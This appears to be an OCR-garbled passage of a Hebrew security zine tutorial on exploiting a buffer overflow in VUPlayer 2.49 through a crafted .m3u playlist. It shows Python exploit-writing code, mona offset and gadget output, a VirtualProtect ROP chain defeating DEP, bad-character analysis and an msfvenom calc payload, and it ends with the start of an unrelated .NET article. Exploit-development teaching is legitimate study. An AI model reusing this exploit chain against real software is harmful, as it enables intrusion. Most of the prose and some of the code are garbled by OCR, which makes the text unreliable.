L r ~ _ Shellcode, 1 ~xs" , s d RGP Chaid! {1 «X ™ , « S | P>, ] § 5]
P {wx {1 * sX DEP X . 47

v

1 S

~
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VUPlayer

#Windows* {1 I ¥Ix smVUPlayer 2.4Q X windows 10 S « {1 " ]« s{ v I ¥ >%, "o X

N ~

pterem3u- _ Y playlisti « X « *° 7 v sthcks . Buffer overflow. 1 Y3 x |

~ ~

o T s X 4 ST o o a Hw A s X e ]

S LX'lS

MoV
MoV

mov

MoV

push

lea

push

call :

push 0 et Mode

lea , +5tringl]
push

call

BileNaméy! 1 _ _ s *1 xstringlx Skingl. ~String2: «« 4+ Aststrepy™ _ x _ st _ 7

cboxiy < 1 se L xstingk_ s - ~décompiler* L 1 ¢ ¢ Y fapent S~ 14 L L

Yx100
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« XT§ Y 7"ss

oy AP Hw kXA~ XA Wk E s 40 . phaylistd 3 < . ]S

S sTS [ TSy s X

| test.m3u - Notepad L= [ B =S

File Edit Format View Help
#EXTM3U

1\25 to life.mp3
2\almost famous.mp3
3\cold wind blows.mp3

P X T o fox X IDAC _disassemblf x 7 4 s L35 o x X <

v o~ ~ ~

L X el OF SDSOPent S « 4 . X DX X "« . & playlists | X % 10 x

O R I IR

< XL ostrepy: x|
JKx J'X‘bx¥2bL q J)E’ZSngquxK‘S‘IVf\’.

ayload = b"A" *

2000

DO Ix X il -

with n(path, 'wb') as handler:

("[!'] Writing to m3u file...")
' (payload)

handler.w

v o

x@ " 1 O0xR100- x FileNama x -StringkL s  « Xy sl _x w s
. DEf&rx I K« X BHX B 81 L 4L 4 FF dsxsie

Q) vUPlayer

File View Control Visuals Help

~

=

X B, B | -1 | 66 E & | 3

P

PR o> | o

& Untitled

Artist

Title

UPlayer v2.49

Type Chn Duration

0 files (0.00Mb) : Oh 00m 00s

s 1 XA L7 xId eSSt xS

” J

LS T x4yl X
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X1 4L mttachs | 7 dSe AT L S eSX § HO e XN P s . xmi3ysS | X K ws X L ¥

Yilmmunity-* _ _ - _++1 1 vdébugger

VU966 /t 0
0012ECA4
41414141
00000000
2012F010
41414141

17 playlist, * % « L A9 4.7 JTAG s 4« %%« HOK4WEIPL 5 1 4% 7 11 X
THCG S » 5 x 4iYy, 87

EIP. -offsetrs - ~ 1 .

m, 41, ¥ $1497% % "1 1lkstrcution Pointert L -offsets X s x ]y, 13 & 4 s X

T +s]” < 0Onfonar _ torelan. _s ¢ X plugin® _ _ ¢ _EBWP- <> 0 1 1 d 117 padding
-4 b4 x5 xpdtterd~ x4 { GitHub- corelan/mona: CorelaRRepository for mona.py)

<

Y x0T Jeipx XA x s xiwls T Jox T o s S k4 18 4%

v

|!muna pattern_create 3000|

Yattern-s m3u, * ¥ ¥ n¥brdar S " « :s4s{ pattern.txt, * ¥ <« x x 4

with (PATH ,
("[!] Writing Pay
EVALED)]

XXXl %x L3 pxsos "X x s, x . jmfunity © 1 VUPlayer «_ 4 .~ "
¥ 4a4d% 1 4Y.s

N
(LR ]

AN
=

X0 T EIPX © 4~ sl Jpattern_offseft . ¢ 7

~

!

o
=T

oo

r el
Fi
F@
Fi

!
Y,
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~ X poat - oo O FxxI” o 4 sesl o@RT2e x offsets x

print('[!] Exploit Is Running
payload = "A" * 1812
payload += 'B' * 4
payload += 'C* * (3000 - Len(payload))
with open(PATH , "w') as +:
{"[!] Writing Payload To Plyalist File ")
f.write(payload)

I
F
H
._F
I;I

e — -
S e

r ERROF_PATH_HOT_FOUMD [ @HEEEEE
s [HO,ME,E,BE.HS,PE, GE,LE]

instruction pointe,* =~ 1 1 ¥ d 1 ¢ * ¥ « X EIFI B: X W SASCH ¥ X L o H xX",7 7 «

K 4 1 d 0

» 1+ X <X{"" 14 x3% shellcodes v ~, x  jymp esp. EIP- «* * ] 1 ¢+ 4 cx3 117«
s 4 sxim s, pgRetf o x T LA T Awin 4 4 XY e X SETTex 4 X s ] .
T, AN X o LxsT X L« VEtual Protect S~ 1 EIRL X 7 s 140 o8 440

> ~

DEBF «, X «s ¢ ¥X» X% 417 s

®hellcode. ¢ 1 | 1~ x 43 "  s1{ WirualProtect. » 1 * s S p ~ 1" 4 X X5 |
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Virtual Protect

BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,

DWORD flNewProtect,
PDWORD lpflOldProtect
X5

417 SX ¥aLa X< g
Sl KT s 4 s 0 X LIs s X T s g XD x L, L % S X0 filpAddress
6 - x4 x 1shellcode
DXow posssT o x B 4" i {8].0x S siDwvsize
. X 0X40% 7 B . o« JUEX . 4 CIsIE . . Accesgrotection valuet TifINewProtect
PAGE_EXECUTE_READWRITE
v Xosp X 4 Ix¥ 0 "0k 1T X aceéess protection value * - Kk H + 1 7 "IpOJdProtect |

o x X s < writeable

Finding modules

s 44d+ 1 X{xd chain. gadgets S ] « e *XX"0 311 ¥ A4« 7 438 X XXS
Ynona™ * x - _ndllbytay 41 "0 x X X ]oxPgrotectionss L, | XS]

‘!muna modules

TX 14 Xued 47 1% ¢ dassmidi.dik BASS.dIBASSWMAGH . _ © _ 8 U ®% x

~

. box v)( 17 1 x ":gﬁdgetss o Fop chains
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Yol L4 0o *5 1

stacks . ¢ 1 1

.24 ", GeneralPurpose Registers - +:

EAX, ECX, EDX, EBX, ESP(original value), EBP, ESI, EDI

" _ % ¥ J Aushad

, 1 xslv ., x $pushad

tack layouts s « - {
S +
Registers
EAX
e e >
ECX
Fmmm e e e ———— >
EDX
e e = >
EBX
e m e e — e — e — e —————— >
ESP
e >
EBP
B >
ESI
R il et lentn] >
EDI
T T P P - +
“vs b s 1 ROP chas 1x 4 % x s  phHshad ret* _ _ * _*"1 | ~chain*
1T s st 41T R 4451 ) YiRualProtect - 1 4 v e BT X Y Lo
Txoobdd DT % 1
ROP chairt 1 x - A
EDI
X9 XX et X o« A x smropnop gadget | ¢ Sl x T« LED¥
Pop edi gadget so1 - s “gadgett - X x F AL F T T %
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Yimunity> + 1 1 X tabOBASSWMA.dIl X * X T x[x§{xs . "

FOF ECH
FUSH E

~l b= -

Ynonar _rop_suggestion$ * x - _ph@p edi gadget -

: # POP EDI # RETN  ** [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}
: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN * [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN 0x10  ** [BASS.d11] ** {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN * [BASS.d11] ** | null {PAGE_EXECUTE_READWRITE}

: # POP EDI| # RETN [BASS.d11] ** | null {PAGE_EXECUTE_ READWRITE}

: # POP EDI| # RETN ** [BASSMIDI.d11] ** | {PAGE_EXECUTE_READWRITE}
: # POP EDI| # RETN * [BASS.d11] ** |  {PAGE_EXECUTE_READWRITE}

: # POP EDI # RETN  ** [BASSMIDI.d11] ** | ascii {PAGE_EXECUTE_READWRITE}

PO~ ¥4t X K0N100190bX ~ 1 * 7

EDL s 44”&s] "

EDI:
POP EDI ; RET; -> ©x100190b8

RET; -> 0x10101008

YL 9s sy 1. x IABIR

+~ 1 1 0&10000000s% Y ¥Preferred Base Address_ ¥ ~ _ * «EXecutable 1 . , _ «

LY lesqd o, « kX s N i defbcationss 1 X gsxh 4T X1 4§ x84 g X x D |s

A

S 4 v YA I f «x3 preffered bases s 7 x 4 S *x Tl 145+ %1% ¢ REBASE

v

L <+ 17 s P Preffered Base X . , _ L1 "0address collisiong | " _ 454 xd -«

A N

BYMNAMICBASE . ¥ ¥ 1 % x JABLR enable: x _ 4 ILdd v>s i x «

Native DLL's + _ , s 5~ 14 072 *.as tdphased ” _* * ASLRWindows*

restart! s X ¥ .o 2OX D IF X X BT p e 4T DN 4 J AL s XX

1 0% x Dl ASLR L, L Xdse s 0 4s® o 1w s % $ 7 phases cd . L

v v
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ESI

x 7O T]kEmel32.dH, 4 1T x o wcix o -MptualProtect 0 X x files 4 {1 1 ESK

o

PR XX Y ] Windowse - X 4 T K CASLR L, 3 s o X eadie X

A

x o d WVittualProtect: ~~ * 4Hds I 1w « Vlplayere + 17  ASLR L ¥ L | _ X «

v Doy b s4 ) ¥ s x D H* {1ATeentrys 0 4 ~s”L1]AT entry. dereference
ASAR bypags™ (4 . DYNAMICBASE.L , _ x| x X 5 | x”

DX X Aeexx” 1 JIATEntries L H o~ X T I mona* X x . ¢

Imona ropfunc

Yopfunc.txt- . x x 4

0x1060e25c : ker‘neBZ.\.4'1r‘tl,lar.lpr‘:::tec.t | @x75d184co | -[P;QGEiEXE[UTEiﬁEADL'JRITE} [BASS ] DI.d11] ASLR: False

@x10109270 : kernel32.virtualprotect | @x75d104c@ | {PAGE_EXECUTE READWRITE} [BA 1A.d11] ASLR: False,
0x10040284 : kernel32.virtualprotect | @x75d104c@ | {PAGE_EXECUTE READWRITE} [BASS.d11] ASLR: False, Rel

s  tbadget x <L 1 Bd - . 1 ¢ * MptualProtect. IAT entries " (1sH x _ _ x
L _rop_suggestiond = x {\AptualProtectt x _ .. 1" {1:x<Y¥s{ $ I entry- dereference

~ X @adget* 1 - L yména

@x1001eafl (RVA : @x@@@leafl) : # MOV EAX,DWORD PTR DS:[[ZE@] # RETN  ** [BASS.d11] ** |  {PAGE_EXECUTE_READWRITE}

@ax™ VirtualProtect. _entry-s © ~+ 1 Jd1r 1 7 % &x3> xsq¢

X yop_suggestions.xt: + - < F ¥ T 147
Hnona ropmn basswma,bassmidi,bass
dmmunity: «+ ¢ 7 WxiXsq "ISX T X X . X
Yopeax - _ 7

9x10015fe7 (RVA : 5 ) : # EREEIEN # RETN =% [BASS.d11] ** | TE_READWRITE}
Bx10015f82 (RVA : Bx 5 : # POP_EAX| # RETN ** [BASS.d11] ** | {PAGE_EXECUTE_READWRITE}
Bx10607f6f (RVA : © 7f6f) : # POP _EAX # RETN ©x@C =% [BASSMIDI.d11] ** | ascii {PAGE_EXECUTE_READWRITE}

0x10015fe7 # POP EAX; RET;

0x1060e25c # VirtualProetct IAT - no aslr module
0X1001eafl # MOV EAX , DWORD PTR DS [EAX] ; RET;
0x10030950 # XCHG EAX , ESI ; RET ;

AP % DX X4 1, ¥ WrtualProtect. entryXx s (4 <S - «S

~ ~
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EBP

return addresss - +s x x s, x s \itualProtectL S « 1 ~.<ISvid 7 0 _toprt s 1 s A

-S| 1 %espi s * {1 T®{l. ~ 3 Hpmpesp | XX 1 .~ <1sshellcodeL » X s1..sth _

A

1, x ¥ Win32 AR|, - {1 VirtualProtect. * ” ~ *+ $ 17 _ ¥ ¥ .. %% ghellcode

~ v

@tacks + 117 _popi-x 1l A~ o~ d4ise . SUse < e x Tssidtdcalll « o <S7esq .«

Yopebp X « 1 d ]

8x18017cod (RVA : 7cad) @ # [Qlasy # RETN @x04 ** [BASS.d11] ** | ascii {PAGE_EXECUTE_READWRITE}

dopnops - ¢ . ¥$ _ RETNOx#chains : «+ 1~ :Is.11 F'bdadget 14 &

Ympesp « _{"4x_

jmp esp
nasm > jmp esp
@ FFE&4 jmp esp

!munafhd—s'tdﬂxef'wn'hasswnuLhassnﬁdLhas§1

EBP:

0x10017cod # POP EBP; RETN 0X04;

0x1010539f # JMP ESP - non aslr module

0x10101008 # Pointer to ROP NOP to compensate for the RETN ©0x04
0x10101008 # Pointer to ROP NOP to compensate for the RETN 0x04

ESP

L® _ Td CHT AL LI 1 mstdealit ¢ oo X ISEI T X s X Y oas s x s |
ST L B L XL S X R L, KX X 33X L, 110 T"xx_ « xIpaddressl T X Y . v S

@ x sx_ebpr v 1 pSIXIL

x x40 daxl® 1 - _d % Kaxld AV espr 1~ X 4, sisel 1 pushad

« usxl o statk layout | 4 S04 X T4ie {d 0 % ghellcodes - «r « 7 ~Z K4 s x Xy
q)x VI S lax ., X%
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EBX

L2 X8 S 4 x4 h]d ~ gadget © o~ w XS 1 OxR01X ¥ 1 _diESize ~~ 1 ¢ 14
x " T s, EBX

0x10015ef2 (RVA : 0x@8015ef2) : # ADD EBX,EAX # XOR EAX,EAX #
@x10832f32 (R : BxPBe32+32) : # CHG v # RETN H\E}B

Mo A A T TR F - P Ty ¥y T L I e e ) O

~ %3 | { gadget * x _ 1EBX | x XU Iixd4"]

0x1003a074 (RVA : 0x0003a074) : # [GLEIIMA,994803BD # RETN  ** [BASS.d11] **

Kxsi®s @3« Hor XOREAX +x]" 1IXDR BC ORAB=¥€ ] ~» {1 ] ¢ s

1 ¢ «08994803B@ 1 « 14,~50x201t 1 *xX".1 1+ “SIXOR S «~ « X% ] x 7
1. X4, s Xdreaxs - L X+ x 4 JXx@rgadget s _ 1 ~ &.51 % ssopoxxeaxt -«
@®bxm xchgx " v XX, "«

pop eaxgadgets - _

0x10015fe7 (RVA : 0xP0015fe7) : # [ # RETN  ** [BASS.d11] ** {PAGE_EXECUTE_READWRITE}

Y | ,0%994801be 1994803BE. 0x201" idr-s : « . X

EBX:

0x10015fe7 # POP EAX; RETN;

0x994801bc # Once xored with 0x994803BD will result in 9x201
0x1003a074 # XOR EAX, 0x994803BD ; RETN ;

0x10032f32 # XCHG EAX, EBX; RETN ;

EDX

« X 7 0IPAGE_EXECUTE_READWRITEX40™ « 1)1 Si+ ™ _ filewProtect « 1 ¢ 1 1
YMSDN x  Meniory Protection Constants -

Constants

Constant/value Description

PAGE_EXECUTE Enables execute access to the committed region of pages. An attempt to
0x10 write to the committed region results in an access violation.
This flag is not supported by the CreateFileMapping function.

PAGE_EXECUTE_READ Enables execute or read-only access to the committed region of pages. An

0x20 attempt to write to the committed region results in an access violation.
Windows Server 2003 and Windows XP: This attribute is not supported by
the CreateFileMapping function until Windows XP with SP2 and Windows
Server 2003 with SP1.

PAGE_EXECUTE READWRITE Enables execute, read-only, or read/write access to the committed region of
0x40 pages.
Windows Server 2003 and Windows XP: This attribute is not supported by

the CreateFileMapping function until Windows XP with SP2 and Windows
Server 2003 with SP1.
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YEx 4] sNs
eax- ~, , - @
Fr 116, _ XTOX#0L 1% ] ! eaxtd 1  *& L

xchg edx,eax * « @

@x106074F8 (RVA : @x0@0@74F8) : # XOR EAX,EAX # RETN  =* [BASSMIDI.d11] **

8 0x10014474 (RVA : 0x00014474) : # DNEINWE # RETN

% [EAbS dll] ok

#k FTDACC ATT T ki

0x106074F8
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0x10014474
0X10038A6C

EAX,EAX; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
ADD EAX,4; RET;
XCHG EAX,EDX; RET;

=
=
=
=
=
=
=
=
=
=
=
=
#
#
#
=
#
#
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o Lo Lo Lo Le Lo Lo Lom Lo
mmmmmmmmiT

Yopecx « P4 sSs xT WX Xx I s

ECX:
0x10601007 # POP ECX; RETN;
0x101053DC # Writeable pointer

EAX

Y MOPx * 1 % Ishellcodes 1 7+ « X« X %3 ., ¥ o X7 {75 ,, 1 « X

EAX:
0x10015fe7 # POP EAX ; RET;
0x90909090 # NOPs

Chaining it all together

X 7 JLmhunks L B o 1A K X osxos 4 e 4 e 17

YEAX r 1! EBXEDXESO® s , 1 144" T4 b K710 #4944 4

X .
~ v ~ v

rop
rop
rop
rop
rop
rop

rop

[pushad]
0x1001d7a5 (RVA : 0x0001d7a5) : # PUSHAD # RETN *¥* [BASS.d11] **
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Bad chars

1 _ 9 x x grashs o 1 sx:i«vi x " gshellcodes = «x ".x * % Ix{iL_} X Bad char
X T 0 X w2 3Y]®ST o A, s D Bad charsx @ 4 f T X L] 46X
s x ry .« iXOD*d _ 7 _ % .~ 7 |sHing terminator- x © % { {4 Qx0Q+ 1 1Y ~ 1 _
DO ¥ 4 X MATE <8t 1.8 x{Lx"dd49 lhip

OX000F 1 4~ p A& J sTx L« 4x” 5 4+« x 71 4% dbadcharg 1 1 X *Je.i!
So v X X lvwtd 4L S B ¥ _ OSSP LanTISvies 48 X 4Y | Al F 8T YKBF
bad chars s | 4 ~iw® 4 . #$pdd x| xivx*{ysqybuffers L _ _ri- badchar 141 _
S LR x4 s s D X X oxe"x o $ 0 4 3 X sbffer- terminates | X

rdchunke s « 1 10 Xs 1 1 u - I |bytearray

Y Tedls~Tx v k™™g, « %

(payload))

(crash ) handler :

handler (payload)

Yuplayer attachs _  WindbgL ~ x ¢sBéllcodes - *x 4.sx X & x < bytedrrays - «* 1 7

(3af8.7cl18): ess violation - code ce@@eeas (first chance)

First chance exceptlons are reported before any exception handling.

This exception may be expected and handled.

cax=08880001 cbx=08808281 =cx=830108000 =dx=080088008 csi=76f784c8 =di=18181883
eip=081%e7ce esp=0819%e7ad4 ebp=18168539f lopl=8 nv up ei pl nz na po nc
c5=0823 s5=882b ds=082b es=882b fs=8853 gs=882b efl=88818282
B819e7c@ 8182 add dword ptr [edx],eax ds:8e2b:oceeseee=2222222?
B:8088> db esp

0e1%:7a4 O@ 99 99 00 90 99 08 C9-99 290 99 90 98 98 98 98 ..... ... e00aann
ge19e7bd S0 0B 98 98 98 989 98 S9-99 28 98 95'81 R BN L e S e a o e oo o
Bel19e7cd 85 86 87 a8 BB'dB 4z 82-02 60 bd @8 0D 80 @8 @8 ..... H).........
B@l0e7d4 68 68 bd 66 68 18 86 88-98 10 38 62 66 08 bd 88 .......... B.....
B@1%9e7ed 09 0D 0D 60 88 @9 06 90-080 08 bd 88 88 88 88 88 .............e.n
Be19e7f4 de e2 bd 86 81 28 20 20-61 OB 0D 80 88 88 bd 88 ... ... ...
0@102264 062 0D 0D 90 99 20 20 20-82 BB bd 88 88 88 bd 88 ... ... . ...,
0819e814 60 68 98 88 7c 28 19 @8-ab fc d7 77 58 82 bd 88 ....|......wX...
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S Lo X 0x09 X601 ¢ osxs” L onullbyterr 1, 14 44707 x | badthars ¢ vx 7 o .

Y 4L osi.sx §s] "4x _ x $ x { pdffer

T L I F

B:888> db esp

g81%e7a4 ©8 90 98 98 98 98 %9 98-%6 %@ 92 90 98 %98 949 98
Belo9e7b4d ©©& 98 906 09 98 98 96 99-99 06 S99 906 61 82 83 84
881%9e7c4 B85 86 67 88 @9 4c 4f 82-00 B0 ca 00 B0 26 @8 a8
881%e7d4 ©8 98 ca 88 80 19 28 28-38 89 df 8% 86 28 ca e
881%e7e4 08 B0 B0 66 606 80 80 e6-66 B8 ca B0 BO 66 806 8o
8819e7f4 dé =2 ca 88 @1 20 28 20-01 60 62 60 B0 28 ca ee
881%eE64 08 B0 B0 66 80 80 80 e8-68 B2 ca B0 BB 66 ca 88
8819e814 08 00 68 868 7c e8 19 88-ab fc d7 77 58 82 ca e

»* X x @wd4d . . _Is 44 _1 Ibad char % xGx0a- _ X QX08. 1 ~.1X *"x

~ > ~

®x00 ,0x09 ,0x0a ,0xMa sbad charss _*x L ¥

shellcodat - ~ {1 1 *

Reversg = - _ s [ (sxl |$5{° x § ¥calc, 1 , «~_- _shellcode* . _ * _ROG : -~ 1 _
r X 1 X o4 -custom shellcoding. * 4 T 1% 4 **X X ©  shellcodes - - Sell

Ynsfvenom+ one liner* shellcodel ~ "+¥YL @ 920 <L 1 ¥P X" K", « o s

windows/exec CMD=calc -b "\x00%\x09\x0a\x1la' -f python C
[-] No platform was selected, choosin : Mt at n::Windows from the payload
[-] No a selected, selecting arch:
ers

load with 1 iter

= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b
+= b

Developing ROP chains to defeat Windows 10 DEP
www.DigitalWhisper.co.il
nT HAoH « X ~NM1 T~ X 4 LY



https://www.digitalwhisper.co.il/files/Zines/0x52/DW82-1-WinShellcoding.pdf

Technoloqgic
x " oexploit-s 2 4 | L X
inal.m3u

= struct.
+= struct.

eax
X

ea

struct.

struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.
= struct.

struct.

Rl R R R R R R )
B S S S S S Y

T i T T W

struct.
struct.
struct.

EBP
struct.
struct.
struct.

si
esi +=

esi +=
esi +=

edi += struct.

Developing ROP chainsdefeat Windows 10 DEP
www.DigitalWhisper.co.il
ny HAoH « X ~NM1 T~ X 4 LY




Technologic

rop
rop
rop
rop
rop
rop
rop
rop +=pushad

# nops
nops

VT

payload

N GET rop

EVAGET nops

EVAGET shellcode

payload b"C” * (3000 - (payload))

# Write pay C
with {crash, "w as handler :
handler . (payload)

Y v s . oxplaylists | % %« x . BExplois o .

”
r”

Q VUPlayer —_

File View Control Visuals Help

|| B2 * = |2 B

ul

;j Untitled

0 files (0.00Mb) : Oh 00m 00s

Artist Title Type Chn

T

Duration
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TR
le View Control Visuals Help ot
& B2+~ |29 |0 HE & E
= Standard
2] Untitled
rtist
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VirtualProtectmr - x * 4 17 .~ 1.

T I\ptualProtect: v X ArdY_ | x SCLIx ARIR L, X Ixxs{ s oo B
T <4124 e T

API What does it do

VirtualAlloc Creates new memory location without DEP
protection

HeapCreate Creates a private heap that allows code
execution

SetProcessDEPPolicy DEP policy will be changed to enable

execution of code from stack.

NtSetinformationProcess DEP policy will be changed to enable
execution of code from stack.

VirtualProtect Changes protection level of memory to cause
code execution.

WriteProcessMemory Allows code to be written at a memory
location with no protection.

YWPM: s ¥y AL 4"

BOOL WriteProcessMemory(

HANDLE hProcess,

LPVOID 1pBaseAddress,

LPCVOID 1lpBuffer,

SIZE T nSize,

out] SIZE T *1pNumberOfBytesWritten

|
|
|
|
|

Lo ~ XX L EdbD X . + 17 . K f S " Shellcodes @ ~* x Ix]" . WRMX _ x

¢

~

R X « 1» s*Xx 4*s{ 3 7 . J 4 % ¥ xdde cave % -~ «Alighment: x .~ 1 1111 1) X<s

~

F QY X% L eXecutable: writeable: x 11s{.> x .DER €nabled 1+24 1" 13« |

X {7 %, B4 qsuoxyss* { B x S x , ghdllodes : «X X Ipl4Liixe JS4IX T T
1 7 7 ¢ x NtProtectVirtualMemory- _ “syscalls _  « {1 ®Ziteable~ (* x ©s] | « * WPM
x X .pages ¢ . 1 14T L ooss X4 {8 X ¢ 10 sx ] « KAVX] pages - -7

~ v

Wb o oms L 1 s X

* x ] lx decoding stukt mencoded- X sshellcode* | x _ £ xX 1 4 k* $ 7 x5 4 ]s
bad. . ¥ U ghellcodex " _ ¥ x XxJ4us{{4 . x " x Adcess Violation . {1 *cade cave
LP «s{{".*, w1 % { ROP , x Decoder® x :x|.eBcoding, ~ % L..XL EtHars
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entry-. derefernce’ x _ ¢ L XX < % 4 « « X X | ASLR cw, | XX ITxgslxq X
Pl Xk M p s X e ] 23 s 18 {0 o7 x| SO GatProcAddress |

2 Cx s N, FOs x Dx s s D CDffsets miLoadLibrary - ¢ 7 ¥ 1 « X { ASLR
QoadLibraryt s + { ~ « S

FXld L

_ Bl ¥ {- stacks . Buffer Overflomr 1 | ~uwx- s4{". .y DERA_ ¥ 7 ~ -~ 4~

~ ~

®@odeexecution: ¥ _ vuplayerf s _ . ¥ X \ROP Chains, «x_ " 1 51 x xx «{ IRDP*

N O I M S R

dor.gersonl7@gmail.com

https://www.linkedin.com/in/dor-gersonb12782245

LXY b dp " 47X
1 DVD X Player 5.5 Pro
 ASXto MP3 Convertérl.2.1
1 Easy File Sharing Web Server 7.2

9(\.”'{ ~ ~ L

> v

Chaining DEP with ROP (CoreYfan)
Exploit writing tutorial part 10: Chaining DEP with ROPKS wdzo A 1 Qda w¢ a8 /[ dzoS |

Cybersecurity ResearchCorelan Cybersecurity Research

Return Oriented Programmiryg

FuzzySecurity | ExploitDev: Part 7

DEP bypass with WriteProcessMeniory
L @1J daAy3 59t ¢gAGK 2 NWndedt NPOSadaaSY2NE OEycO

Introduction to win32 sehllcoding (Corelah)

Exploit writing tutorial part 9 : Introduction to Win32 shellcoding | €lan Cybersecurity

ResearchCorelan Cybersecurity Research
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https://www.exploit-db.com/apps/cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe
https://www.exploit-db.com/apps/b31a84e79d9941d89336b6708ef52a20-ASXtoMP3Converter_3121.exe
https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://fuzzysecurity.com/tutorials/expDev/7.html
https://vulndev.io/2022/06/12/bypassing-dep-with-writeprocessmemory/
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
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.Net Attacks: Breaking OS Boundaries

I I e R IR

s 4. *41x X

~

SX v Wby XL X bdls ot T x F x4 a1 o x 4 NET- X T x4 10 s X
oW d L e x T e A X g o T A AH ] L isx bydesign, x T 4 xox
NET x| xx¢ ok X0 ss (X o X% " YQilfigxDeep PandaAPT29+ d | « x -

v ~ o~ ~ >~

ddw L ~isx 14 xs.  CowenentxCoblatStrike Donutx ¢ 14 o 1 x

s ¥ {Microsoft2016: " _._1 s!_ Windows. « ~» | xWx isq4_ . x sqi .4 NET. * X
L .S~ ~5. +~ NET Cottgr _ s _ ~ x dpen source crossplatform s I s . v

MacOS Liux Windows Y« ¥ * »s . 0 | . 16x CAVB.NETF# managed code
® o tvOS. x o 1 Anbdreidx _mobile: x _ ~ x 1L |

Poxx oo 4] 0, x "RET™ x 44s NET Core . {'NET Framework"- 1 x _ 5 KNET

Lok Soes 411 s xXNETWd _pdsn, ~ ¥ ] sl - LU L Ko x X xR s

sS4 v Yo PR A T i b ox o x L3 Fieo X 4« o~ L Net Framework: x « . Y

~ A>

NETL ! 1 °+« wNET Core _ *XTLNET Core

S 13 ] X T A0l e WX TS X x sTaxsl s x sEUx s

| % Windows: L T, S 4l X { SNET: x | . X4 iixse 4% | B « shpdesign

~

(—

Fd X H e SIKY oSl B ] NETE 2 X 0® | dKE ST 0 3. p Yo X 4 17 X X,

S B ]l XY e oaisx o sx s a0 T SR v KOG T e T

~ ~

Qinux: x ,  x X

~
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NETL » * ISt " « INETCoré «» « “AL/.NETI " x__ %0 51 " x § 78 x 48y
.NET Framework " x__ ** m"b_H s

Open Supported Included Versions
source platforms
NET Yes Cross Platform .NET Core 1.0 - 3.1, .NET 5, and later versions
of .NET
.NET No Windows only .NET Framework 1.0 - 4.8

Framework

.NET vs .NET Framework

NEF* 1 - 1Y X

FAd ok X85, XBEXNETI 47554 es40* 4™ TIXZe e _ x0 s X ol e 137 0L
r ~ JIP compilef XNET RuntimelZ « 04> ;¥ {4 4+ d ¥ Is] .x L » * X ™ s

® s sy o Fe 42 4 sxleds{y  x

Ao sxZsx 4 o +.410x @G X1 X XX 4 1 * ®xecution flows - +s ¥ A L7

¥ Isle .

.NET Runtime - CLR

C# Code . CIL Code 4,” Compiler Machine
First Second
o Code
Compilation Compilation
.NET Assembly

” X

S w4 X % L X wanative binary. s ¢ s

xexecution flows 4 11w - [ 11
KR L T e T AT AR o XNET X ST XX I s L4 X XK PR ST XX
JPs 4 L ds « 3., ¥ 4% 4 0

~ >

Sl T sl xskE s 3. g JAo, A Runtimes < 4 AT X X x x0T T

~ > A A A

<! Otossplatformd ~ « 2 dFAIgt" 17 s X xlsss” xIx x ¢ x4 _ b xQIL
NS S B4 L ST ks ¥l oxoXs {1 oS

s 43| x UNET6.0 Dbk . , _ xh&lloWorldL _1 | 1CH#K x X7 isxxuX o f 1 8| ¥
N R BT ST

Console.WriteLine("Hello World!");

Gamespaces clasa s ¢ - xImain: 1 1 XX L
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.NET Assembly s " *
A®sembly . . _ + X S T 1 {NET Assemblies{ ” NEF + 1 % x ¢ 414 » a2 4 §x ¢
s Y ¥ x gyg&ource, * x (dll eXxeY . {1 PE.__* 1~ ¥ .~ = +x NET Assembly
A T e IR e s P HIFLAA D Y R F A K AS | L% ] T PR, S T X

1B« s sy ]

~

x . YRLL Hellt 4 7 74, I 4x " xCOM dlls x 4 8 x 4 X > ¥ qsly ] . s ¢ ¢ . x s
X . ¥ ] 4 NET Assembly @ {1 « < Hdllg ,«x @ 4 X ¥ p X% A T o 0 x 4 X
Y‘ X .I ” ” X .
Single File .NET Assembly

CIL Code Metadata

Manifest Resources

b A XNBT | .05 TYC¥S . " h¥ s 4104 1 4 Assembly Manifest] 1 "dy s

[

Lildasm.exe- * X ¢k X 47 ¥ys{ Tsi i@ . x| dependencies * ¥ 4 X 4 ] .
J A xx O xuvaxﬁq 97 x40 .1

Px wsp 4 14~ 4 X8 Common Intermediate LanguageClL Cod@ 1 1 1 ¢
I xice, 4 Juptimert 5 « 4 4 « (XGIS s xI x4 I PE.S " X &F4d. .

TS ox s xD oL DRspyr X b 14 sd 4, 87 xI] o {47 xs
1Q.L* | s SGH x decompile

# Hello.helloWorld::Main : void() — O X

Find Find Next

-.method public hidebysig static void Hain{) cil managed
{l

-entrypoint
/f Code size 12 (8xd)
-maxstack 8
IL_@08a0: nop
TL_@@e1: Ildstr “Hello, Yorld?"
IL_@@d6: call void [System.Console]System.Console::Writeline{string)
IL_@a@8b: nop
IL_688c: ret
¥ /4 end of method helloWorld::Main

didasm- | YhellsWorld.dll Clls 8
